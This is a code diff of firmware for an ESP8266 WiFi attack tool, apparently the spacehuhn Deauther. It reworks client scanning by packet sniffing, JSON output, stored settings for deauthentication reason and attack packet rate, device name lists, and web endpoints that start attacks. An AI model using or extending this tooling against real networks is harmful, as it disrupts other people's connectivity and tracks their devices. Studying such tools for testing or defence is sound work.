for (int i = 0; i < apScan.results; i++) {
|
||||||
if (apScan.isSelected(i)) {
|
if (apScan.isSelected(i)) {
|
||||||
if (apScan.aps._get(i).compare(from)) {
|
if (apScan.aps._get(i).compare(from)) {
|
||||||
int clientNum = clientNum = clients.getNum(to);
|
int clientNum = add(to);
|
||||||
|
connectedToAp[clientNum] = i;
|
||||||
|
packets[clientNum]++;
|
||||||
if (clientNum == -1 && results < maxClientScanResults) {
|
if (clientNum == -1 && results < maxClientScanResults) {
|
||||||
data_getVendor(to._get(0), to._get(1), to._get(2)).toCharArray(vendors[results], 9);
|
|
||||||
results++;
|
|
||||||
cliNbr = clients.add(to);
|
|
||||||
packets[cliNbr]++;
|
|
||||||
connectedToAp[cliNbr] = i;
|
|
||||||
} else packets[clientNum]++;
|
|
||||||
|
|
||||||
if (debug) {
|
if (debug) {
|
||||||
Serial.print("found: ");
|
Serial.print("found: ");
|
||||||
from._print();
|
from._print();
|
||||||
@@ -106,7 +111,7 @@ void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
|
|||||||
to._print();
|
to._print();
|
||||||
Serial.println("");
|
Serial.println("");
|
||||||
}
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -138,32 +143,84 @@ int ClientScan::getFirstClient() {
|
|||||||
}
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
String ClientScan::getResults() {
|
|
||||||
if (debug) Serial.print("getting client scan result JSON ");
|
|
||||||
String json = "{ \"clients\":[";
|
|
||||||
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
|
||||||
json += "{";
|
|
||||||
json += "\"i\":" + (String)i + ",";
|
|
||||||
json += "\"p\":" + (String)getClientPackets(i) + ",";
|
|
||||||
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
|
|
||||||
json += "\"n\":\"" + (String)nameList.get(getClientMac(i)) + "\",";
|
|
||||||
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
|
|
||||||
json += "\"s\":" + (String)getClientSelected(i) + ",";
|
|
||||||
json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
|
|
||||||
json += "}";
|
|
||||||
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
|
|
||||||
}
|
|
||||||
json += "] }";
|
|
||||||
if (debug) {
|
|
||||||
Serial.println(json);
|
|
||||||
Serial.println("done ");
|
|
||||||
}
|
|
||||||
return json;
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
void ClientScan::select(int num) {
|
void ClientScan::select(int num) {
|
||||||
selected[num] = !selected[num];
|
selected[num] = !selected[num];
|
||||||
if (selected[num]) selectedResults++;
|
if (selected[num]) selectedResults++;
|
||||||
else selectedResults--;
|
else selectedResults--;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
size_t ClientScan::getSize(){
|
||||||
|
size_t jsonSize = 0;
|
||||||
|
String json = "{\"clients\":[";
|
||||||
|
jsonSize += json.length();
|
||||||
|
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
||||||
|
json = "{";
|
||||||
|
json += "\"i\":" + (String)i + ",";
|
||||||
|
json += "\"p\":" + (String)getClientPackets(i) + ",";
|
||||||
|
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
|
||||||
|
json += "\"n\":\"" + (String)nameList.get(getClientMac(i)) + "\",";
|
||||||
|
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
|
||||||
|
json += "\"s\":" + (String)getClientSelected(i) + ",";
|
||||||
|
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
|
||||||
|
else json += "\"a\":\"?\"";
|
||||||
|
json += "}";
|
||||||
|
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
|
||||||
|
jsonSize += json.length();
|
||||||
|
}
|
||||||
|
json = "],\"nameList\":[";
|
||||||
|
jsonSize += json.length();
|
||||||
|
|
||||||
|
for (int i = 0; i < nameList.len; i++) {
|
||||||
|
json = "{";
|
||||||
|
json += "\"n\":\"" + nameList.getName(i) + "\",";
|
||||||
|
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
|
||||||
|
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
||||||
|
json += "}";
|
||||||
|
if (i != nameList.len - 1) json += ",";
|
||||||
|
jsonSize += json.length();
|
||||||
|
}
|
||||||
|
jsonSize += 2;
|
||||||
|
|
||||||
|
return jsonSize;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ClientScan::send() {
|
||||||
|
size_t _size = getSize();
|
||||||
|
sendHeader(200, "text/json", _size);
|
||||||
|
if (debug) Serial.println("getting settings json ("+(String)_size+")");
|
||||||
|
|
||||||
|
String json;
|
||||||
|
sendToBuffer("{\"clients\":[");
|
||||||
|
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
||||||
|
json = "{";
|
||||||
|
json += "\"i\":" + (String)i + ",";
|
||||||
|
json += "\"p\":" + (String)getClientPackets(i) + ",";
|
||||||
|
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
|
||||||
|
json += "\"n\":\"" + (String)nameList.get(getClientMac(i)) + "\",";
|
||||||
|
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
|
||||||
|
json += "\"s\":" + (String)getClientSelected(i) + ",";
|
||||||
|
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
|
||||||
|
else json += "\"a\":\"?\"";
|
||||||
|
json += "}";
|
||||||
|
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
|
||||||
|
sendToBuffer(json);
|
||||||
|
}
|
||||||
|
sendToBuffer("],\"nameList\":[");
|
||||||
|
|
||||||
|
for (int i = 0; i < nameList.len; i++) {
|
||||||
|
json = "{";
|
||||||
|
json += "\"n\":\"" + nameList.getName(i) + "\",";
|
||||||
|
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
|
||||||
|
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
||||||
|
json += "}";
|
||||||
|
if (i != nameList.len - 1) json += ",";
|
||||||
|
sendToBuffer(json);
|
||||||
|
}
|
||||||
|
sendToBuffer("]}");
|
||||||
|
|
||||||
|
sendBuffer();
|
||||||
|
|
||||||
|
if(debug) Serial.println("\ndone");
|
||||||
|
|
||||||
|
}
|
||||||
|
|||||||
@@ -29,8 +29,8 @@ class ClientScan {
|
|||||||
void clearList();
|
void clearList();
|
||||||
bool stop();
|
bool stop();
|
||||||
void packetSniffer(uint8_t *buf, uint16_t len);
|
void packetSniffer(uint8_t *buf, uint16_t len);
|
||||||
|
int add(Mac adr);
|
||||||
String getResults();
|
void send();
|
||||||
void select(int num);
|
void select(int num);
|
||||||
|
|
||||||
String getClientName(int num);
|
String getClientName(int num);
|
||||||
@@ -47,6 +47,8 @@ class ClientScan {
|
|||||||
|
|
||||||
bool sniffing = false;
|
bool sniffing = false;
|
||||||
private:
|
private:
|
||||||
|
size_t getSize();
|
||||||
|
|
||||||
long startTime = 0;
|
long startTime = 0;
|
||||||
|
|
||||||
Mac from;
|
Mac from;
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ bool MacList::contains(Mac adr) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
int MacList::add(Mac adr) {
|
int MacList::add(Mac adr) {
|
||||||
if (num < len && adr.valid()) {
|
if(num < len && adr.valid()) {
|
||||||
if (!contains(adr)) {
|
if (!contains(adr)) {
|
||||||
macAdrs[num].setMac(adr);
|
macAdrs[num].setMac(adr);
|
||||||
num++;
|
num++;
|
||||||
|
|||||||
@@ -7,7 +7,7 @@
|
|||||||
|
|
||||||
#define listAdr 2048
|
#define listAdr 2048
|
||||||
#define lenAdr 2047
|
#define lenAdr 2047
|
||||||
#define SSIDListLength 64
|
#define SSIDListLength 48
|
||||||
#define SSIDLength 32
|
#define SSIDLength 32
|
||||||
|
|
||||||
extern const bool debug;
|
extern const bool debug;
|
||||||
|
|||||||
@@ -5,11 +5,20 @@ Settings::Settings() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void Settings::load() {
|
void Settings::load() {
|
||||||
|
|
||||||
|
if(EEPROM.read(checkNumAdr) != checkNum){
|
||||||
|
reset();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
ssidLen = EEPROM.read(ssidLenAdr);
|
ssidLen = EEPROM.read(ssidLenAdr);
|
||||||
passwordLen = EEPROM.read(passwordLenAdr);
|
passwordLen = EEPROM.read(passwordLenAdr);
|
||||||
|
|
||||||
if (ssidLen < 1 || ssidLen > 32 || passwordLen < 8 && passwordLen != 0 || passwordLen > 32) reset();
|
if (ssidLen < 1 || ssidLen > 32 || passwordLen < 8 && passwordLen != 0 || passwordLen > 32){
|
||||||
else {
|
reset();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
ssid = "";
|
ssid = "";
|
||||||
password = "";
|
password = "";
|
||||||
for (int i = 0; i < ssidLen; i++) ssid += (char)EEPROM.read(ssidAdr + i);
|
for (int i = 0; i < ssidLen; i++) ssid += (char)EEPROM.read(ssidAdr + i);
|
||||||
@@ -32,7 +41,7 @@ void Settings::load() {
|
|||||||
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
|
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
|
||||||
useLed = (bool)EEPROM.read(useLedAdr);
|
useLed = (bool)EEPROM.read(useLedAdr);
|
||||||
channelHop = (bool)EEPROM.read(channelHopAdr);
|
channelHop = (bool)EEPROM.read(channelHopAdr);
|
||||||
}
|
multiAPs = (bool)EEPROM.read(multiAPsAdr);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::reset() {
|
void Settings::reset() {
|
||||||
@@ -53,8 +62,9 @@ void Settings::reset() {
|
|||||||
attackPacketRate = 10;
|
attackPacketRate = 10;
|
||||||
clientScanTime = 15;
|
clientScanTime = 15;
|
||||||
attackEncrypted = false;
|
attackEncrypted = false;
|
||||||
useLed = false;
|
useLed = true;
|
||||||
channelHop = false;
|
channelHop = false;
|
||||||
|
multiAPs = false;
|
||||||
|
|
||||||
if (debug) Serial.println("done");
|
if (debug) Serial.println("done");
|
||||||
|
|
||||||
@@ -84,6 +94,8 @@ void Settings::save() {
|
|||||||
EEPROM.write(attackEncryptedAdr, attackEncrypted);
|
EEPROM.write(attackEncryptedAdr, attackEncrypted);
|
||||||
EEPROM.write(useLedAdr, useLed);
|
EEPROM.write(useLedAdr, useLed);
|
||||||
EEPROM.write(channelHopAdr, channelHop);
|
EEPROM.write(channelHopAdr, channelHop);
|
||||||
|
EEPROM.write(multiAPsAdr, multiAPs);
|
||||||
|
EEPROM.write(checkNumAdr, checkNum);
|
||||||
EEPROM.commit();
|
EEPROM.commit();
|
||||||
|
|
||||||
if (debug) {
|
if (debug) {
|
||||||
@@ -93,7 +105,7 @@ void Settings::save() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void Settings::info() {
|
void Settings::info() {
|
||||||
Serial.println("settings:");
|
Serial.println("Settings:");
|
||||||
Serial.println("SSID: " + ssid);
|
Serial.println("SSID: " + ssid);
|
||||||
Serial.println("SSID length: " + (String)ssidLen);
|
Serial.println("SSID length: " + (String)ssidLen);
|
||||||
Serial.println("SSID hidden: " + (String)ssidHidden);
|
Serial.println("SSID hidden: " + (String)ssidHidden);
|
||||||
@@ -108,10 +120,10 @@ void Settings::info() {
|
|||||||
Serial.println("attack SSID encrypted: " + (String)attackEncrypted);
|
Serial.println("attack SSID encrypted: " + (String)attackEncrypted);
|
||||||
Serial.println("use built-in LED: " + (String)useLed);
|
Serial.println("use built-in LED: " + (String)useLed);
|
||||||
Serial.println("channel hopping: " + (String)channelHop);
|
Serial.println("channel hopping: " + (String)channelHop);
|
||||||
|
Serial.println("multiple APs: " + (String)multiAPs);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::send() {
|
size_t Settings::getSize(){
|
||||||
if (debug) Serial.println("getting settings json");
|
|
||||||
String json = "{";
|
String json = "{";
|
||||||
size_t jsonSize = 0;
|
size_t jsonSize = 0;
|
||||||
|
|
||||||
@@ -127,43 +139,33 @@ void Settings::send() {
|
|||||||
json += "\"attackEncrypted\":" + (String)attackEncrypted + ",";
|
json += "\"attackEncrypted\":" + (String)attackEncrypted + ",";
|
||||||
json += "\"useLed\":" + (String)useLed + ",";
|
json += "\"useLed\":" + (String)useLed + ",";
|
||||||
json += "\"channelHop\":" + (String)channelHop + ",";
|
json += "\"channelHop\":" + (String)channelHop + ",";
|
||||||
|
json += "\"multiAPs\":" + (String)multiAPs + "}";
|
||||||
json += "\"nameList\":[";
|
|
||||||
|
|
||||||
jsonSize += json.length();
|
jsonSize += json.length();
|
||||||
|
|
||||||
for (int i = 0; i < nameList.len; i++) {
|
return jsonSize;
|
||||||
json = "";
|
}
|
||||||
json += "{";
|
|
||||||
json += "\"n\":\"" + nameList.getName(i) + "\",";
|
|
||||||
json += "\"m\":\"" + nameList.getMac(i).toString() + "\",";
|
|
||||||
json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
|
||||||
json += "}";
|
|
||||||
if (i != nameList.len - 1) json += ",";
|
|
||||||
jsonSize += json.length();
|
|
||||||
}
|
|
||||||
jsonSize += 2; //]}
|
|
||||||
|
|
||||||
sendHeader(200, "text/json", jsonSize);
|
void Settings::send() {
|
||||||
|
if (debug) Serial.println("getting settings json");
|
||||||
|
sendHeader(200, "text/json", getSize());
|
||||||
|
|
||||||
|
String json = "{";
|
||||||
|
json += "\"ssid\":\"" + ssid + "\",";
|
||||||
|
json += "\"ssidHidden\":" + (String)ssidHidden + ",";
|
||||||
|
json += "\"password\":\"" + password + "\",";
|
||||||
|
json += "\"apChannel\":" + (String)apChannel + ",";
|
||||||
|
json += "\"apScanHidden\":" + (String)apScanHidden + ",";
|
||||||
|
json += "\"deauthReason\":" + (String)(int)deauthReason + ",";
|
||||||
|
json += "\"attackTimeout\":" + (String)attackTimeout + ",";
|
||||||
|
json += "\"attackPacketRate\":" + (String)attackPacketRate + ",";
|
||||||
|
json += "\"clientScanTime\":" + (String)clientScanTime + ",";
|
||||||
|
json += "\"attackEncrypted\":" + (String)attackEncrypted + ",";
|
||||||
|
json += "\"useLed\":" + (String)useLed + ",";
|
||||||
|
json += "\"channelHop\":" + (String)channelHop + ",";
|
||||||
|
json += "\"multiAPs\":" + (String)multiAPs + "}";
|
||||||
sendToBuffer(json);
|
sendToBuffer(json);
|
||||||
|
|
||||||
for (int i = 0; i < nameList.len; i++) {
|
|
||||||
json = "";
|
|
||||||
json += "{";
|
|
||||||
json += "\"n\":\"" + nameList.getName(i) + "\",";
|
|
||||||
json += "\"m\":\"" + nameList.getMac(i).toString() + "\",";
|
|
||||||
json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
|
||||||
json += "}";
|
|
||||||
if (i != nameList.len - 1) json += ",";
|
|
||||||
sendToBuffer(json);
|
|
||||||
}
|
|
||||||
sendToBuffer("]}");
|
|
||||||
|
|
||||||
sendBuffer();
|
sendBuffer();
|
||||||
|
|
||||||
if (debug) {
|
if(debug) Serial.println("\ndone");
|
||||||
Serial.println(json);
|
|
||||||
Serial.println("done");
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -32,6 +32,10 @@ extern NameList nameList;
|
|||||||
#define apChannelAdr 1098
|
#define apChannelAdr 1098
|
||||||
#define useLedAdr 1099
|
#define useLedAdr 1099
|
||||||
#define channelHopAdr 1100
|
#define channelHopAdr 1100
|
||||||
|
#define multiAPsAdr 1101
|
||||||
|
|
||||||
|
#define checkNumAdr 1102
|
||||||
|
#define checkNum 14
|
||||||
|
|
||||||
class Settings
|
class Settings
|
||||||
{
|
{
|
||||||
@@ -49,18 +53,18 @@ class Settings
|
|||||||
int passwordLen;
|
int passwordLen;
|
||||||
String password = "";
|
String password = "";
|
||||||
int apChannel;
|
int apChannel;
|
||||||
|
|
||||||
bool apScanHidden;
|
bool apScanHidden;
|
||||||
|
|
||||||
uint8_t deauthReason;
|
uint8_t deauthReason;
|
||||||
unsigned int attackTimeout;
|
unsigned int attackTimeout;
|
||||||
int attackPacketRate;
|
int attackPacketRate;
|
||||||
|
|
||||||
int clientScanTime;
|
int clientScanTime;
|
||||||
bool attackEncrypted;
|
bool attackEncrypted;
|
||||||
bool useLed;
|
bool useLed;
|
||||||
bool channelHop;
|
bool channelHop;
|
||||||
|
bool multiAPs;
|
||||||
|
|
||||||
private:
|
private:
|
||||||
|
size_t getSize();
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -1,9 +1,7 @@
|
|||||||
/*
|
/*
|
||||||
===========================================
|
===========================================
|
||||||
Copyright 2017 Stefan Kremser
|
Copyright (c) 2017 Stefan Kremser
|
||||||
|
|
||||||
github.com/spacehuhn
|
github.com/spacehuhn
|
||||||
twitter.com/spacehuhn
|
|
||||||
===========================================
|
===========================================
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@@ -12,45 +10,48 @@
|
|||||||
#include <ESP8266WiFi.h>
|
#include <ESP8266WiFi.h>
|
||||||
#include <ESP8266WebServer.h>
|
#include <ESP8266WebServer.h>
|
||||||
#include <ESP8266mDNS.h>
|
#include <ESP8266mDNS.h>
|
||||||
|
#include <FS.h>
|
||||||
|
|
||||||
//#define USE_DISPLAY /* <-- uncomment that if you wanna use the display */
|
#define resetPin 4 /* <-- comment out or change if you need GPIO 4 for other purposes */
|
||||||
|
//#define USE_DISPLAY /* <-- uncomment that if you want to use the display */
|
||||||
|
|
||||||
#ifdef USE_DISPLAY
|
#ifdef USE_DISPLAY
|
||||||
|
#include <Wire.h>
|
||||||
|
|
||||||
#include <Wire.h>
|
//include the library you need
|
||||||
|
#include "SSD1306.h"
|
||||||
|
//#include "SH1106.h"
|
||||||
|
|
||||||
//include the library you need
|
//button pins
|
||||||
#include "SSD1306.h"
|
#define upBtn D6
|
||||||
//#include "SH1106.h"
|
#define downBtn D7
|
||||||
|
#define selectBtn D5
|
||||||
|
|
||||||
//button pins
|
#define buttonDelay 180 //delay in ms
|
||||||
#define upBtn D6
|
|
||||||
#define downBtn D7
|
|
||||||
#define selectBtn D5
|
|
||||||
|
|
||||||
#define buttonDelay 180 //delay in ms
|
//render settings
|
||||||
|
#define fontSize 8
|
||||||
|
#define rowsPerSite 8
|
||||||
|
|
||||||
//render settings
|
//create display(Adr, SDA-pin, SCL-pin)
|
||||||
#define fontSize 8
|
SSD1306 display(0x3c, D2, D1);
|
||||||
#define rowsPerSite 8
|
//SH1106 display(0x3c, D2, D1);
|
||||||
|
|
||||||
//create display(Adr, SDA-pin, SCL-pin)
|
int rows = 3;
|
||||||
SSD1306 display(0x3c, D2, D1);
|
int curRow = 0;
|
||||||
//SH1106 display(0x3c, D2, D1);
|
int sites = 1;
|
||||||
|
int curSite = 1;
|
||||||
int rows = 3;
|
int lrow = 0;
|
||||||
int curRow = 0;
|
|
||||||
int sites = 1;
|
|
||||||
int curSite = 1;
|
|
||||||
int lrow = 0;
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
String wifiMode = "";
|
String wifiMode = "";
|
||||||
String attackMode = "";
|
String attackMode = "";
|
||||||
String scanMode = "SCAN";
|
String scanMode = "SCAN";
|
||||||
|
|
||||||
|
bool warning = true;
|
||||||
|
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "user_interface.h"
|
#include "user_interface.h"
|
||||||
}
|
}
|
||||||
|
|
||||||
ESP8266WebServer server(80);
|
ESP8266WebServer server(80);
|
||||||
@@ -81,12 +82,12 @@ void sniffer(uint8_t *buf, uint16_t len) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void startWifi() {
|
void startWifi() {
|
||||||
Serial.println("starting WiFi AP");
|
Serial.println("\nStarting WiFi AP:");
|
||||||
WiFi.mode(WIFI_STA);
|
WiFi.mode(WIFI_STA);
|
||||||
wifi_set_promiscuous_rx_cb(sniffer);
|
wifi_set_promiscuous_rx_cb(sniffer);
|
||||||
WiFi.softAP((const char*)settings.ssid.c_str(), (const char*)settings.password.c_str(), settings.apChannel, settings.ssidHidden); //for an open network without a password change to: WiFi.softAP(ssid);
|
WiFi.softAP((const char*)settings.ssid.c_str(), (const char*)settings.password.c_str(), settings.apChannel, settings.ssidHidden); //for an open network without a password change to: WiFi.softAP(ssid);
|
||||||
Serial.println("SSID: " + settings.ssid);
|
Serial.println("SSID : '" + settings.ssid+"'");
|
||||||
Serial.println("Password: " + settings.password);
|
Serial.println("Password : '" + settings.password+"'");
|
||||||
Serial.println("-----------------------------------------------");
|
Serial.println("-----------------------------------------------");
|
||||||
if (settings.password.length() < 8) Serial.println("WARNING: password must have at least 8 characters!");
|
if (settings.password.length() < 8) Serial.println("WARNING: password must have at least 8 characters!");
|
||||||
if (settings.ssid.length() < 1 || settings.ssid.length() > 32) Serial.println("WARNING: SSID length must be between 1 and 32 characters!");
|
if (settings.ssid.length() < 1 || settings.ssid.length() > 32) Serial.println("WARNING: SSID length must be between 1 and 32 characters!");
|
||||||
@@ -102,44 +103,55 @@ void stopWifi() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void loadIndexHTML() {
|
void loadIndexHTML() {
|
||||||
server.send ( 200, "text/html", data_getIndexHTML());
|
if(warning){
|
||||||
|
sendFile(200, "text/html", data_indexHTML, sizeof(data_indexHTML));
|
||||||
|
}else{
|
||||||
|
sendFile(200, "text/html", data_apscanHTML, sizeof(data_apscanHTML));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
void loadClientsHTML() {
|
void loadAPScanHTML() {
|
||||||
server.send ( 200, "text/html", data_getClientsHTML());
|
warning = false;
|
||||||
|
sendFile(200, "text/html", data_apscanHTML, sizeof(data_apscanHTML));
|
||||||
|
}
|
||||||
|
void loadStationsHTML() {
|
||||||
|
sendFile(200, "text/html", data_stationHTML, sizeof(data_stationHTML));
|
||||||
}
|
}
|
||||||
void loadAttackHTML() {
|
void loadAttackHTML() {
|
||||||
server.send ( 200, "text/html", data_getAttackHTML());
|
sendFile(200, "text/html", data_attackHTML, sizeof(data_attackHTML));
|
||||||
}
|
}
|
||||||
void loadSettingsHTML() {
|
void loadSettingsHTML() {
|
||||||
server.send( 200, "text/html", data_getSettingsHTML());
|
sendFile(200, "text/html", data_settingsHTML, sizeof(data_settingsHTML));
|
||||||
}
|
}
|
||||||
void load404() {
|
void load404() {
|
||||||
server.send ( 404, "text/html", data_get404());
|
sendFile(200, "text/html", data_error404, sizeof(data_error404));
|
||||||
|
}
|
||||||
|
void loadInfoHTML(){
|
||||||
|
sendFile(200, "text/html", data_infoHTML, sizeof(data_infoHTML));
|
||||||
|
}
|
||||||
|
void loadLicense(){
|
||||||
|
sendFile(200, "text/plain", data_license, sizeof(data_license));
|
||||||
}
|
}
|
||||||
|
|
||||||
void loadFunctionsJS() {
|
void loadFunctionsJS() {
|
||||||
server.send( 200, "text/javascript", data_getFunctionsJS());
|
sendFile(200, "text/javascript", data_functionsJS, sizeof(data_functionsJS));
|
||||||
}
|
}
|
||||||
void loadIndexJS() {
|
void loadAPScanJS() {
|
||||||
server.send ( 200, "text/javascript", data_getIndexJS());
|
sendFile(200, "text/javascript", data_apscanJS, sizeof(data_apscanJS));
|
||||||
}
|
}
|
||||||
void loadClientsJS() {
|
void loadStationsJS() {
|
||||||
server.send ( 200, "text/javascript", data_getClientsJS());
|
sendFile(200, "text/javascript", data_stationsJS, sizeof(data_stationsJS));
|
||||||
}
|
}
|
||||||
void loadAttackJS() {
|
void loadAttackJS() {
|
||||||
server.send ( 200, "text/javascript", data_getAttackJS());
|
sendFile(200, "text/javascript", data_attackJS, sizeof(data_attackJS));
|
||||||
}
|
}
|
||||||
void loadSettingsJS() {
|
void loadSettingsJS() {
|
||||||
server.send( 200, "text/html", data_getSettingsJS());
|
sendFile(200, "text/javascript", data_settingsJS, sizeof(data_settingsJS));
|
||||||
}
|
}
|
||||||
|
|
||||||
void loadStyle() {
|
void loadStyle() {
|
||||||
server.send ( 200, "text/css", data_getStyle());
|
sendFile(200, "text/css;charset=UTF-8", data_styleCSS, sizeof(data_styleCSS));
|
||||||
}
|
}
|
||||||
|
|
||||||
void loadManifest() {
|
|
||||||
server.send ( 200, "text/css", data_getManifest());
|
|
||||||
}
|
|
||||||
|
|
||||||
void startWiFi(bool start) {
|
void startWiFi(bool start) {
|
||||||
if (start) startWifi();
|
if (start) startWifi();
|
||||||
@@ -171,13 +183,6 @@ void startAPScan() {
|
|||||||
|
|
||||||
void sendAPResults() {
|
void sendAPResults() {
|
||||||
apScan.sendResults();
|
apScan.sendResults();
|
||||||
/*
|
|
||||||
if (server.hasArg("apid")) {
|
|
||||||
int apid = server.arg("apid").toInt();
|
|
||||||
server.send ( 200, "text/json", apScan.getResult(apid));
|
|
||||||
} else {
|
|
||||||
server.send ( 200, "text/json", apScan.getResults());
|
|
||||||
}*/
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void selectAP() {
|
void selectAP() {
|
||||||
@@ -198,7 +203,7 @@ void startClientScan() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void sendClientResults() {
|
void sendClientResults() {
|
||||||
server.send( 200, "text/json", clientScan.getResults() );
|
clientScan.send();
|
||||||
}
|
}
|
||||||
void sendClientScanTime() {
|
void sendClientScanTime() {
|
||||||
server.send( 200, "text/json", (String)settings.clientScanTime );
|
server.send( 200, "text/json", (String)settings.clientScanTime );
|
||||||
@@ -212,22 +217,76 @@ void selectClient() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void addClientFromList(){
|
||||||
|
if(server.hasArg("num")) {
|
||||||
|
int _num = server.arg("num").toInt();
|
||||||
|
clientScan.add(nameList.getMac(_num));
|
||||||
|
|
||||||
|
server.send( 200, "text/json", "true");
|
||||||
|
}else server.send( 200, "text/json", "false");
|
||||||
|
}
|
||||||
|
|
||||||
void setClientName() {
|
void setClientName() {
|
||||||
if (server.hasArg("id") && server.hasArg("name")) {
|
if (server.hasArg("id") && server.hasArg("name")) {
|
||||||
|
if(server.arg("name").length()>0){
|
||||||
nameList.add(clientScan.getClientMac(server.arg("id").toInt()), server.arg("name"));
|
nameList.add(clientScan.getClientMac(server.arg("id").toInt()), server.arg("name"));
|
||||||
server.send( 200, "text/json", "true");
|
server.send( 200, "text/json", "true");
|
||||||
}
|
}
|
||||||
|
else server.send( 200, "text/json", "false");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void deleteName() {
|
||||||
|
if (server.hasArg("num")) {
|
||||||
|
int _num = server.arg("num").toInt();
|
||||||
|
nameList.remove(_num);
|
||||||
|
server.send( 200, "text/json", "true");
|
||||||
|
}else server.send( 200, "text/json", "false");
|
||||||
|
}
|
||||||
|
|
||||||
|
void clearNameList() {
|
||||||
|
nameList.clear();
|
||||||
|
server.send( 200, "text/json", "true" );
|
||||||
|
}
|
||||||
|
|
||||||
|
void editClientName() {
|
||||||
|
if (server.hasArg("id") && server.hasArg("name")) {
|
||||||
|
nameList.edit(server.arg("id").toInt(), server.arg("name"));
|
||||||
|
server.send( 200, "text/json", "true");
|
||||||
|
}else server.send( 200, "text/json", "false");
|
||||||
|
}
|
||||||
|
|
||||||
|
void addClient(){
|
||||||
|
if(server.hasArg("mac") && server.hasArg("name")){
|
||||||
|
String macStr = server.arg("mac");
|
||||||
|
macStr.replace(":","");
|
||||||
|
Serial.println("add "+macStr+" - "+server.arg("name"));
|
||||||
|
if(macStr.length() < 12 || macStr.length() > 12) server.send( 200, "text/json", "false");
|
||||||
|
else{
|
||||||
|
Mac _newClient;
|
||||||
|
for(int i=0;i<6;i++){
|
||||||
|
const char* val = macStr.substring(i*2,i*2+2).c_str();
|
||||||
|
uint8_t valByte = strtoul(val, NULL, 16);
|
||||||
|
Serial.print(valByte,HEX);
|
||||||
|
Serial.print(":");
|
||||||
|
_newClient.setAt(valByte,i);
|
||||||
|
}
|
||||||
|
Serial.println();
|
||||||
|
nameList.add(_newClient,server.arg("name"));
|
||||||
|
server.send( 200, "text/json", "true");
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
//==========Attack==========
|
//==========Attack==========
|
||||||
void sendAttackInfo() {
|
void sendAttackInfo() {
|
||||||
server.send( 200, "text/json", attack.getResults());
|
attack.sendResults();
|
||||||
}
|
}
|
||||||
|
|
||||||
void startAttack() {
|
void startAttack() {
|
||||||
if (server.hasArg("num")) {
|
if (server.hasArg("num")) {
|
||||||
int _attackNum = server.arg("num").toInt();
|
int _attackNum = server.arg("num").toInt();
|
||||||
if (apScan.getFirstTarget() > -1 || _attackNum == 2 || _attackNum == 3) {
|
if (apScan.getFirstTarget() > -1 || _attackNum == 1 || _attackNum == 2) {
|
||||||
attack.start(server.arg("num").toInt());
|
attack.start(server.arg("num").toInt());
|
||||||
server.send ( 200, "text/json", "true");
|
server.send ( 200, "text/json", "true");
|
||||||
} else server.send( 200, "text/json", "false");
|
} else server.send( 200, "text/json", "false");
|
||||||
@@ -312,6 +371,10 @@ void saveSettings() {
|
|||||||
if (server.arg("channelHop") == "false") settings.channelHop = false;
|
if (server.arg("channelHop") == "false") settings.channelHop = false;
|
||||||
else settings.channelHop = true;
|
else settings.channelHop = true;
|
||||||
}
|
}
|
||||||
